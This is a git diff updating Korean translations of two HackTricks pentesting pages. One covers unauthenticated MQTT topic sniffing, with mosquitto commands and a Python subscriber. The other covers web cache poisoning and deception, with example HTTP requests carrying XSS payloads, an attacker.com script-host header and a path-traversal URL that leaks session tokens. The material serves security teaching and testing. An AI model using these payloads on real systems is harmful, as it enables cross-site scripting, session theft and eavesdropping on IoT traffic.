mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
parent
041b91ce2d
commit
8325efe983
@ -4,7 +4,7 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**MQ Telemetry Transport (MQTT)**는 **게시/구독 메시징 프로토콜**로 알려져 있으며, 극도의 단순성과 경량성으로 두드러집니다. 이 프로토콜은 장치의 기능이 제한적이고 낮은 대역폭, 높은 지연 시간 또는 신뢰할 수 없는 연결이 특징인 네트워크에서 작동하는 환경에 특별히 맞춰져 있습니다. MQTT의 핵심 목표는 네트워크 대역폭 사용을 최소화하고 장치 리소스에 대한 수요를 줄이는 것입니다. 또한, 신뢰할 수 있는 통신을 유지하고 일정 수준의 전달 보장을 제공하는 것을 목표로 합니다. 이러한 목표는 MQTT를 **기계 간 통신 (M2M)** 및 **사물인터넷 (IoT)**의 급성장하는 분야에 특히 적합하게 만듭니다. 여기서 수많은 장치를 효율적으로 연결하는 것이 필수적입니다. 또한, MQTT는 대역폭과 배터리 수명을 절약하는 것이 중요한 모바일 애플리케이션에도 매우 유용합니다.
|
||||
**MQ Telemetry Transport (MQTT)**는 극도의 단순성과 경량성으로 두드러지는 **게시/구독 메시징 프로토콜**로 알려져 있습니다. 이 프로토콜은 장치의 기능이 제한적이고 낮은 대역폭, 높은 지연 시간 또는 신뢰할 수 없는 연결이 특징인 네트워크에서 작동하는 환경에 특별히 맞춰져 있습니다. MQTT의 핵심 목표는 네트워크 대역폭 사용을 최소화하고 장치 리소스에 대한 수요를 줄이는 것입니다. 또한, 신뢰할 수 있는 통신을 유지하고 일정 수준의 전달 보장을 제공하는 것을 목표로 합니다. 이러한 목표는 MQTT를 **기계 간 통신 (M2M)** 및 **사물인터넷 (IoT)**의 급성장하는 분야에 특히 적합하게 만듭니다. 여기서 수많은 장치를 효율적으로 연결하는 것이 필수적입니다. 또한, MQTT는 대역폭과 배터리 수명을 절약하는 것이 중요한 모바일 애플리케이션에도 매우 유용합니다.
|
||||
|
||||
**기본 포트:** 1883
|
||||
```
|
||||
@ -13,7 +13,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
## 트래픽 검사
|
||||
|
||||
MQTT 브로커가 **CONNECT** 패킷을 수신하면 **CONNACK** 패킷이 다시 전송됩니다. 이 패킷에는 연결 상태를 이해하는 데 중요한 반환 코드가 포함되어 있습니다. 반환 코드 **0x00**은 자격 증명이 수락되었음을 의미하며, 성공적인 연결을 나타냅니다. 반면, 반환 코드 **0x05**는 자격 증명이 유효하지 않음을 나타내어 연결을 방지합니다.
|
||||
MQTT 브로커가 **CONNECT** 패킷을 수신하면, **CONNACK** 패킷이 다시 전송됩니다. 이 패킷에는 연결 상태를 이해하는 데 중요한 반환 코드가 포함되어 있습니다. 반환 코드가 **0x00**이면 자격 증명이 수락되었음을 의미하며, 성공적인 연결을 나타냅니다. 반면, 반환 코드가 **0x05**이면 자격 증명이 유효하지 않음을 나타내어 연결을 방지합니다.
|
||||
|
||||
예를 들어, 브로커가 유효하지 않은 자격 증명으로 인해 연결을 거부하는 경우, 시나리오는 다음과 같이 보일 것입니다:
|
||||
```
|
||||
@ -30,19 +30,19 @@ MQTT 브로커가 **CONNECT** 패킷을 수신하면 **CONNACK** 패킷이 다
|
||||
|
||||
**인증은 완전히 선택 사항입니다** 그리고 인증이 수행되고 있더라도, **기본적으로 암호화가 사용되지 않습니다** (자격 증명이 평문으로 전송됩니다). MITM 공격을 통해 여전히 비밀번호를 훔칠 수 있습니다.
|
||||
|
||||
MQTT 서비스에 연결하려면 다음을 사용할 수 있습니다: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) 그리고 다음을 수행하여 모든 주제에 구독할 수 있습니다:
|
||||
MQTT 서비스에 연결하려면: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell)을 사용하고 다음을 수행하여 모든 주제에 구독할 수 있습니다:
|
||||
```
|
||||
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
|
||||
> subscribe "#" 1
|
||||
> subscribe "$SYS/#"
|
||||
```
|
||||
당신은 또한 사용할 수 있습니다:
|
||||
다음도 사용할 수 있습니다:
|
||||
```bash
|
||||
apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
|
||||
```
|
||||
또는 **이 코드를 실행하여 인증 없이 MQTT 서비스에 연결하고 모든 주제를 구독하여 수신할 수 있습니다**:
|
||||
또는 **이 코드를 실행하여 인증 없이 MQTT 서비스에 연결하고 모든 주제를 구독하며 수신할 수 있습니다**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
@ -71,17 +71,13 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## 더 많은 정보
|
||||
### 게시/구독 패턴 <a href="#b667" id="b667"></a>
|
||||
|
||||
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
게시/구독 모델은 다음으로 구성됩니다:
|
||||
|
||||
### 퍼블리시/구독 패턴 <a href="#b667" id="b667"></a>
|
||||
|
||||
퍼블리시/구독 모델은 다음으로 구성됩니다:
|
||||
|
||||
- **퍼블리셔**: 브로커의 하나(또는 여러) 주제에 메시지를 퍼블리시합니다.
|
||||
- **구독자**: 브로커의 하나(또는 여러) 주제를 구독하고 퍼블리셔로부터 전송된 모든 메시지를 수신합니다.
|
||||
- **브로커**: 퍼블리셔로부터 구독자에게 모든 메시지를 라우팅합니다.
|
||||
- **게시자**: 브로커의 하나(또는 여러 개) 주제에 메시지를 게시합니다.
|
||||
- **구독자**: 브로커의 하나(또는 여러 개) 주제에 구독하고 게시자로부터 전송된 모든 메시지를 수신합니다.
|
||||
- **브로커**: 게시자로부터 구독자에게 모든 메시지를 라우팅합니다.
|
||||
- **주제**: 슬래시로 구분된 하나 이상의 레벨로 구성됩니다 (예: /smartshouse/livingroom/temperature).
|
||||
|
||||
### 패킷 형식 <a href="#f15a" id="f15a"></a>
|
||||
@ -93,11 +89,11 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http
|
||||
### 패킷 유형
|
||||
|
||||
- CONNECT (1): 클라이언트가 서버에 연결 요청을 시작합니다.
|
||||
- CONNACK (2): 서버의 성공적인 연결에 대한 확인입니다.
|
||||
- CONNACK (2): 성공적인 연결에 대한 서버의 확인입니다.
|
||||
- PUBLISH (3): 클라이언트에서 서버로 또는 그 반대로 메시지를 전송하는 데 사용됩니다.
|
||||
- PUBACK (4): PUBLISH 패킷에 대한 확인입니다.
|
||||
- PUBREC (5): 메시지가 수신되었음을 보장하는 메시지 전송 프로토콜의 일부입니다.
|
||||
- PUBREL (6): 메시지 전송에 대한 추가 보장으로, 메시지 해제를 나타냅니다.
|
||||
- PUBREL (6): 메시지 전송에 대한 추가 보장을 제공하며, 메시지 해제를 나타냅니다.
|
||||
- PUBCOMP (7): 메시지 전송 프로토콜의 마지막 부분으로, 완료를 나타냅니다.
|
||||
- SUBSCRIBE (8): 클라이언트가 주제로부터 메시지를 수신하기 위한 요청입니다.
|
||||
- SUBACK (9): SUBSCRIBE 요청에 대한 서버의 확인입니다.
|
||||
|
@ -6,17 +6,17 @@
|
||||
|
||||
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
|
||||
>
|
||||
> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하며, 이 콘텐츠는 캐시에서 다른 애플리케이션 사용자에게 제공됩니다.
|
||||
> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
|
||||
> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
|
||||
## 캐시 오염
|
||||
|
||||
캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다.
|
||||
캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강요하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다.
|
||||
|
||||
캐시 오염 공격의 실행에는 여러 단계가 포함됩니다:
|
||||
|
||||
1. **키가 없는 입력 식별**: 이러한 매개변수는 요청이 캐시되기 위해 필요하지 않지만, 서버가 반환하는 응답을 변경할 수 있습니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다.
|
||||
2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 잘못 사용하여 공격자에게 유리한 방식으로 서버의 응답을 수정하는 방법을 파악하는 것입니다.
|
||||
1. **키가 없는 입력 식별**: 이는 요청이 캐시되기 위해 필요하지 않지만 서버가 반환하는 응답을 변경할 수 있는 매개변수입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다.
|
||||
2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 잘못 사용하여 서버의 응답을 공격자에게 유리하게 수정하는 방법을 파악하는 것입니다.
|
||||
3. **오염된 응답이 캐시되도록 보장**: 마지막 단계는 조작된 응답이 캐시에 저장되도록 보장하는 것입니다. 이렇게 하면 캐시가 오염된 동안 영향을 받는 페이지에 접근하는 모든 사용자가 오염된 응답을 받게 됩니다.
|
||||
|
||||
### 발견: HTTP 헤더 확인
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
### 발견: 캐시 오류 코드
|
||||
|
||||
응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내** 보십시오. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
|
||||
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내** 보십시오. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
|
||||
|
||||
더 많은 옵션은 다음에서 찾을 수 있습니다:
|
||||
|
||||
@ -50,17 +50,17 @@ cache-poisoning-to-dos.md
|
||||
악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
|
||||
|
||||
응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
|
||||
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800`
|
||||
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800`
|
||||
|
||||
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자에 대해 캐시를 오염시킬 수 있습니다.
|
||||
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
|
||||
|
||||
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다.
|
||||
|
||||
요청을 캐시할 때는 사용하는 헤더에 **주의해야** 합니다. 일부 헤더는 **예상치 않게** **키로 사용될 수** 있으며, **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
|
||||
요청을 캐시할 때는 사용하는 헤더에 **주의**해야 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
|
||||
|
||||
## 악용 예시
|
||||
|
||||
### 가장 쉬운 예
|
||||
### 가장 쉬운 예시
|
||||
|
||||
헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\
|
||||
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
|
||||
@ -69,7 +69,7 @@ GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아님을 유의하세요._
|
||||
_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아닙니다._
|
||||
|
||||
### DoS를 위한 캐시 오염
|
||||
|
||||
@ -77,19 +77,27 @@ _이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아님
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### CDN을 통한 캐시 오염
|
||||
|
||||
**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명됩니다:
|
||||
|
||||
- CDN은 `/share/` 아래의 모든 것을 캐시합니다.
|
||||
- CDN은 `%2F..%2F`를 디코딩하거나 정규화하지 않으므로, 이를 사용하여 **캐시될 수 있는 다른 민감한 위치에 접근하기 위한 경로 탐색**으로 사용할 수 있습니다. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- 웹 서버는 `%2F..%2F`를 디코딩하고 정규화하며, `/api/auth/session`으로 응답합니다. 이 응답에는 **인증 토큰**이 포함되어 있습니다.
|
||||
|
||||
### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용
|
||||
|
||||
쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
|
||||
쿠키는 페이지의 응답에 반영될 수도 있습니다. 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 일반 요청이 캐시를 정리할 것입니다.
|
||||
취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 정기적인 요청이 캐시를 정리할 것임을 유의하십시오.
|
||||
|
||||
### 구분 기호, 정규화 및 점을 사용하여 불일치 생성하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
확인하세요:
|
||||
확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### API 키를 훔치기 위한 경로 탐색을 통한 캐시 오염 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것은 Cloudflare가 URL을 정규화하지 않고 캐시되며, 이는 요청이 웹 서버에 도달했을 때 수행되었습니다.
|
||||
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에, 요청이 웹 서버에 도달했을 때 정규화가 이루어졌습니다.
|
||||
|
||||
이것은 다음에서 더 잘 설명됩니다:
|
||||
|
||||
@ -105,9 +113,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션의 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
|
||||
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션을 위한 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -116,7 +124,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### 제한된 `Vary` 헤더로 악용하기
|
||||
|
||||
만약 **`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
|
||||
**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있는 경우, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -125,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
|
||||
URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서의 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -148,7 +156,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 웹 캐시 오염을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)를 사용하여 웹 캐시 오염을 자동으로 테스트할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
@ -156,7 +164,7 @@ Example usage: `wcvs -u example.com`
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS는 URL 내의 조각을 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각 무시). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 포함되었습니다.
|
||||
ATS는 URL 내의 조각을 제거하지 않고 전달하고, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각을 무시함). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 포함되었습니다.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
@ -164,15 +172,15 @@ content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있었습니다.
|
||||
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 `x-http-method-override: HEAD` 헤더를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있었습니다.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
|
||||
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다.
|
||||
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
@ -184,7 +192,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. `\`와 같은 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
|
||||
|
||||
### Finding new headers
|
||||
|
||||
@ -192,9 +200,9 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
|
||||
|
||||
## Cache Deception
|
||||
|
||||
Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다.**
|
||||
Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 로드하게 만드는 것입니다.**
|
||||
|
||||
우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하십시오. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **sensitive** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **steal**할 수 있습니다.
|
||||
우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의해야 합니다. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다.
|
||||
|
||||
테스트할 다른 사항들:
|
||||
|
||||
@ -207,9 +215,9 @@ Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된
|
||||
|
||||
또한, 이 글에서 매우 명확한 예를 찾을 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\
|
||||
그런 다음 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **confidential information**을 관찰할 수 있습니다.
|
||||
